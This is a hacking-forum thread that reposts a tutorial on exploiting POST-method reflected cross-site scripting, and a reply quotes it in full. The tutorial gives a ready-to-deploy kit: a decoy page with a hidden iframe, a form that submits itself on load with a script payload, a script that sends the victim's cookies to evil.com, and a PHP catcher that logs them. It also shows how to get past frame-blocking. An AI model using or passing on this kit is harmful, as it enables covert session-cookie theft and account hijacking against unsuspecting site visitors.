Exploiting Reflective XSS (Post)
#1
Not my tutorial but I thought it was worth a share.

Quick note: Try using >"<script>alert/hi</script> as well

Credits: Hackers2DevNull


What's POST method XSS?
A cross-site scripting vulnerability that is exploited by sending the input from a form to the vulnerable website via POST HTTP method (so it could be a search box on a site that uses POST not GET).


How does exploitation differ from GET method XSS?
When a GET request is made, the request is sent over HTTP in the form:
Code:
website.com/search.php?keyword=whatever.
When a POST request is made, the request is sent over HTTP in the form:
Code:
website.com/search.php
(the content, e.g keyword=whatever, is sent in the body as part of the HTTP request rather than as part of the URL).
With that in mind, the typical reflected XSS attack can't be sent to the target like normal:
Code:
website.com/search.php?keyword="><script>evil-javascript</script>
With POST method, the user actually has to fill out a form on your evil-site, and usually click "submit" which allows evil-site to then send the user along with the POST request to the target website. The contents of the POST request will contain the javascript payload and end up running.

How do we exploit it?
Note: works on Firefox, but will also work on Chrome providing the injected vector renders within script tags.

Of course asking the user to fill out a form on a strange site is a bit fishy. But using javascript we can submit the form automatically without the user's interaction upon them landing on the page. Moreover, we can do it in the background using a hidden iframe on your evil-site so you can display whatever other content you like whilst they are getting pwnd. If the site doesn't like iframes, we have an alternative method.

Forget about cross-site request forgery defenses messing this up, if we can run javascript on the target we can always bypass CSRF restrictions. After testing a site and finding vulnerable code to XSS (via POST variables), our aim will be to reference an external javascript file which will contain our extended evil payload.
Code:
<SCRIPT SRC='http://myevilsite.com/evil.js'></SCRIPT>
The exploit code:
Upload the following 5 files to a hosting website substituting evil.com with your own webhosting site URL (explanations beneath), and you may also have to change the payload to bypass any security filters that may be in place:

.htaccess
Code:
AddType application/x-httpd-php .html

attackpage.html
Code:
<html>
<body>
<H1>Innocent page is innocent</H1>
<p>Your bases are not belong to me, dun worry bro</p>
<? if (isset($_GET["done"])) {
die();
}?><iframe src="http://evil.com/background.php" width="1" height="1" frameborder="0"></iframe>
</body>
</html>
background.php
Code:
<html>
<head>
<style>
.xss {display: none;
}
</style>
</head>

<body onload="XSS.submit();">

<form id="xss" action="http://www.attackesite.com/search or whatever the sub-folder is/" method="post" name="XSS">
<input name="target" value ="all"></input>
<input name="address" value="<SCRIPT SRC='http://evil.com/evil.js'></SCRIPT>"></input>

</form>
</body>

</html>
Note: You may need to use tinyurl.com to shorten the evil url.

evil.js
Code:
window.location.replace("http://evil.com/cookie.php?cookie=" + encodeURIComponent(document.cookie));
cookie.php
Code:
<?

$file = "cookies.txt";

if (isset($_GET["cookie"])) {$handle = fopen($file, 'a');fwrite($handle, "\r\n" . $_GET["cookie"]);fclose($handle);

}
?>

<script>window.location.replace("http://evil.com/attackpage.html?done=yes");</script>
So what is happening here:

The victim finds themselves on evil-site's attackpage.html
An iframe on attackpage.html opens up background.php which has an input form tailored for the specific target site.

NOTE: The form variables "target" and "address" were found by viewing the original HTTP request with the Firefox extension Live HTTP Headers.

When the HTML body fully loads, the "onload" javascript event is triggered which calls the submit method of the form named XSS (this ensures the form is completely loaded before doing anything):
Code:
<body onload="XSS.submit();">
The browser will then send a POST HTTP request to the targeted site with the embeded payload without the victim having to enter anything or click the submit button.

The iframe is hidden so this will happen in the background, however, a few sites have implemented a click-jacking defense by returning the following in the HTTP response header:
Code:
X-Frame-Options: Deny
This causes the page not to load in an iframe. If this is the case, we can just do a meta-refresh redirect from attackpage.html like so:
Code:
<meta http-equiv="refresh" content="0;URL='http://evil.com/background.php'">
You can then remove the iframe on background.php and replace it with:
Code:
<SCRIPT SRC='http://evil.com/background.php'></SCRIPT>
This will bring up background.php but the form will be hidden due to some CSS goodness:
Code:
<style>
.xss {display: none;
}
</style>
In either case, the payload calls evil.js from evil.com, and this forwards the victim along with their targeted site cookies to evil.com/cookie.php. The cookie catcher grabs the cookie from the request and writes it to a text file on the web-host. Immediately the user is sent back to the attackpage.html with the HTTP request in the form:
Code:
attackpage.html?done=yes.
That's why we added the .htaccess file, so we can handle the request with PHP even though it is a html file.

All that the user will see during this entire process is the progress indicator in the browser taking a couple more seconds than usual, and shouldn't have a clue they have been pwnd!

I made a demo page which clearly shows this exploit for people that are interested. Just substitute the following pages on your hosting site:

attackpage.html

Code:
<html>
<head>
<script>
function Iframe(iFrame)
{

    var IFramer = document.getElementById(iFrame);
    var content = IFramer.contentWindow.document.body.innerHTML;
    document.getElementById("XSS").innerHTML= '<b>cookies were actually stolen a few seconds ago!:</b> ' + decodeURIComponent(content);

}
</script>
</head>
<body>
<H1>POST HTTP METHOD XSS DEMO - Targeted site.com</H1>
<P>Just by visiting this page, all your bases have been belonged to me'd</p>
<a href="#" onclick="Iframe('cookies')">Reveal</a>
<div id="XSS"></div>

<iframe id="cookies" src="/background.php" width="1" height="1" frameborder="0"></iframe>

</body>

</html>

cookies.php


Code:
<?echo $_GET['cookie'];?>
Reply
#2
(06-10-2015, 02:09 AM)Insider Wrote: Not my tutorial but I thought it was worth a share.

Quick note: Try using >"<script>alert/hi</script> as well

Credits: Hackers2DevNull


What's POST method XSS?
A cross-site scripting vulnerability that is exploited by sending the input from a form to the vulnerable website via POST HTTP method (so it could be a search box on a site that uses POST not GET).


How does exploitation differ from GET method XSS?
When a GET request is made, the request is sent over HTTP in the form:
Code:
website.com/search.php?keyword=whatever.
When a POST request is made, the request is sent over HTTP in the form:
Code:
website.com/search.php
(the content, e.g keyword=whatever, is sent in the body as part of the HTTP request rather than as part of the URL).
With that in mind, the typical reflected XSS attack can't be sent to the target like normal:
Code:
website.com/search.php?keyword="><script>evil-javascript</script>
With POST method, the user actually has to fill out a form on your evil-site, and usually click "submit" which allows evil-site to then send the user along with the POST request to the target website. The contents of the POST request will contain the javascript payload and end up running.

How do we exploit it?
Note: works on Firefox, but will also work on Chrome providing the injected vector renders within script tags.

Of course asking the user to fill out a form on a strange site is a bit fishy. But using javascript we can submit the form automatically without the user's interaction upon them landing on the page. Moreover, we can do it in the background using a hidden iframe on your evil-site so you can display whatever other content you like whilst they are getting pwnd. If the site doesn't like iframes, we have an alternative method.

Forget about cross-site request forgery defenses messing this up, if we can run javascript on the target we can always bypass CSRF restrictions. After testing a site and finding vulnerable code to XSS (via POST variables), our aim will be to reference an external javascript file which will contain our extended evil payload.
Code:
<SCRIPT SRC='http://myevilsite.com/evil.js'></SCRIPT>
The exploit code:
Upload the following 5 files to a hosting website substituting evil.com with your own webhosting site URL (explanations beneath), and you may also have to change the payload to bypass any security filters that may be in place:

.htaccess
Code:
AddType application/x-httpd-php .html

attackpage.html
Code:
<html>
<body>
<H1>Innocent page is innocent</H1>
<p>Your bases are not belong to me, dun worry bro</p>
<? if (isset($_GET["done"])) {
die();
}?><iframe src="http://evil.com/background.php" width="1" height="1" frameborder="0"></iframe>
</body>
</html>
background.php
Code:
<html>
<head>
<style>
.xss {display: none;
}
</style>
</head>

<body onload="XSS.submit();">

<form id="xss" action="http://www.attackesite.com/search or whatever the sub-folder is/" method="post" name="XSS">
<input name="target" value ="all"></input>
<input name="address" value="<SCRIPT SRC='http://evil.com/evil.js'></SCRIPT>"></input>

</form>
</body>

</html>
Note: You may need to use tinyurl.com to shorten the evil url.

evil.js
Code:
window.location.replace("http://evil.com/cookie.php?cookie=" + encodeURIComponent(document.cookie));  
cookie.php
Code:
<?

$file = "cookies.txt";

if (isset($_GET["cookie"])) {$handle = fopen($file, 'a');fwrite($handle, "\r\n" . $_GET["cookie"]);fclose($handle);

}
?>

<script>window.location.replace("http://evil.com/attackpage.html?done=yes");</script>
So what is happening here:

The victim finds themselves on evil-site's attackpage.html
An iframe on attackpage.html opens up background.php which has an input form tailored for the specific target site.

NOTE: The form variables "target" and "address" were found by viewing the original HTTP request with the Firefox extension Live HTTP Headers.

When the HTML body fully loads, the "onload" javascript event is triggered which calls the submit method of the form named XSS (this ensures the form is completely loaded before doing anything):
Code:
<body onload="XSS.submit();">
The browser will then send a POST HTTP request to the targeted site with the embeded payload without the victim having to enter anything or click the submit button.

The iframe is hidden so this will happen in the background, however, a few sites have implemented a click-jacking defense by returning the following in the HTTP response header:
Code:
X-Frame-Options: Deny  
This causes the page not to load in an iframe.  If this is the case, we can just do a meta-refresh redirect from attackpage.html like so:
Code:
<meta http-equiv="refresh" content="0;URL='http://evil.com/background.php'">
You can then remove the iframe on background.php and replace it with:
Code:
<SCRIPT SRC='http://evil.com/background.php'></SCRIPT>
This will bring up background.php but the form will be hidden due to some CSS goodness:
Code:
<style>
.xss {display: none;
}
</style>
In either case, the payload calls evil.js from evil.com, and this forwards the victim along with their targeted site cookies to evil.com/cookie.php. The cookie catcher grabs the cookie from the request and writes it to a text file on the web-host. Immediately the user is sent back to the attackpage.html with the HTTP request in the form:
Code:
attackpage.html?done=yes.
That's why we added the .htaccess file, so we can handle the request with PHP even though it is a html file.

All that the user will see during this entire process is the progress indicator in the browser taking a couple more seconds than usual, and shouldn't have a clue they have been pwnd!

I made a demo page which clearly shows this exploit for people that are interested. Just substitute the following pages on your hosting site:

attackpage.html

Code:
<html>
<head>
<script>
function Iframe(iFrame)
{

   var IFramer = document.getElementById(iFrame);
   var content = IFramer.contentWindow.document.body.innerHTML;
   document.getElementById("XSS").innerHTML= '<b>cookies were actually stolen a few seconds ago!:</b> ' + decodeURIComponent(content);

}
</script>
</head>
<body>
<H1>POST HTTP METHOD XSS DEMO - Targeted site.com</H1>
<P>Just by visiting this page, all your bases have been belonged to me'd</p>
<a href="#" onclick="Iframe('cookies')">Reveal</a>
<div id="XSS"></div>

<iframe id="cookies" src="/background.php" width="1" height="1" frameborder="0"></iframe>

</body>

</html>

cookies.php


Code:
<?echo $_GET['cookie'];?>


i dont know if this tool(website) is popular or not but i recently came across this tool though it looks similar to beef i guess.
https://xsshunter.com/
this works fine specially in out of band attack
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [Tutorial] XSS through Exif headers Insider 1 1,087 06-16-2020, 11:51 AM
Last Post: LaZr4us
  Guide to XSS (Examples included) NO-OP 3 13,382 04-29-2019, 12:44 PM
Last Post: mhiats37
  [PoC] RunBox.com x MailChimp.com - Stored XSS Vulnerabilities (Bug Bounty Hunting) Daisuke Dan 3 6,296 04-24-2019, 08:47 PM
Last Post: thunder
  Discovering CVE-2018-11512 - wityCMS 0.6.1 Persistent XSS nats 9 9,798 06-26-2018, 03:50 AM
Last Post: nats